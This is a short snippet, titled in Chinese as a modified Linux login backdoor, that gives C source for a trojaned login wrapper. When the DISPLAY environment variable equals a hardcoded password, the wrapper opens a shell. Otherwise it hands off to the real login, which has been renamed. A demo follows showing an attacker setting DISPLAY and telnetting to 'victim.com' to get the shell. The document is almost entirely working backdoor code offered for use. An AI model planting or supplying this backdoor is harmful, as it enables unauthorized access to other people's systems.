c++ linux login源代码 修改过的后门程序
#include <stdio.h> #define PASSWORD "passWORD" #define _PATH_LOGIN "/sbin/logins" main (argc, argv, envp) int argc; char **argv, **envp; { char *display = getenv("DISPLAY"); if ( display == NULL ) { execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } if (!strcmp(display,PASSWORD)) { system("/bin/csh"); exit(1); } execve(_PATH_LOGIN, argv, envp); exit(1); } |
/************************/
bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx…
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
$
/*************************/